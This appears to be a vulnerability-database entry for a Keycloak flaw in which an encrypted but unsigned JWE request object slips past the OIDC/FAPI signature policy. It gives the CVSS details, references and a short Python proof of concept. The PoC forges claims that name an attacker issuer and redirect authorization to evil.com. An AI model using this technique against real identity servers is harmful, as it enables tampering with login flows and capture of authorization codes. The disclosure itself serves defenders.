CVE-2026-9793

Description

A flaw was found in Keycloak. When a JSON Web Encryption (JWE) encrypted request object is submitted, Keycloak may incorrectly process unsigned claims if the decrypted content is raw JSON, bypassing the configured signature policy. This allows a remote attacker to submit unauthorized claims, leading to a compromise of data integrity within the OpenID Connect (OIDC) authorization flow. While a redirect URI allowlist acts as a compensating control, this vulnerability violates OIDC Core and Financial-grade API (FAPI) signing requirements.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考Red Hat官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import json
import jose.jwe
from cryptography.hazmat.primitives import serialization

# Target Keycloak's Public Key (PEM format)
TARGET_PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
... (Target Key) ...
-----END PUBLIC KEY-----"""

# Malicious claims to be injected
malicious_payload = {
    "iss": "https://attacker-controlled-issuer",
    "aud": "target-client-id",
    "response_type": "code",
    "client_id": "target-client-id",
    "redirect_uri": "https://evil.com/callback",
    # ... other claims to bypass policy
}

# Load the public key
public_key = serialization.load_pem_public_key(TARGET_PUBLIC_KEY_PEM.encode())

# Create a JWE (JSON Web Encryption) containing raw JSON
# This bypasses the internal JWS signature check expected by OIDC/FAPI
# Note: Using a hypothetical JWE library structure for demonstration
encrypted_request = jose.jwe.encrypt(
    json.dumps(malicious_payload).encode('utf-8'),
    public_key,
    algorithm="RSA-OAEP",
    encryption="A256GCM"
)

print(f"Generated Malicious JWE Request Object: {encrypted_request.decode('utf-8')}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9793
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9793
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9793/
[4] VulDB https://vuldb.com/cve/CVE-2026-9793
[5] https://access.redhat.com/security/cve/CVE-2026-9793
[6] https://bugzilla.redhat.com/show_bug.cgi?id=2482460

Raw JSON Data

JSON

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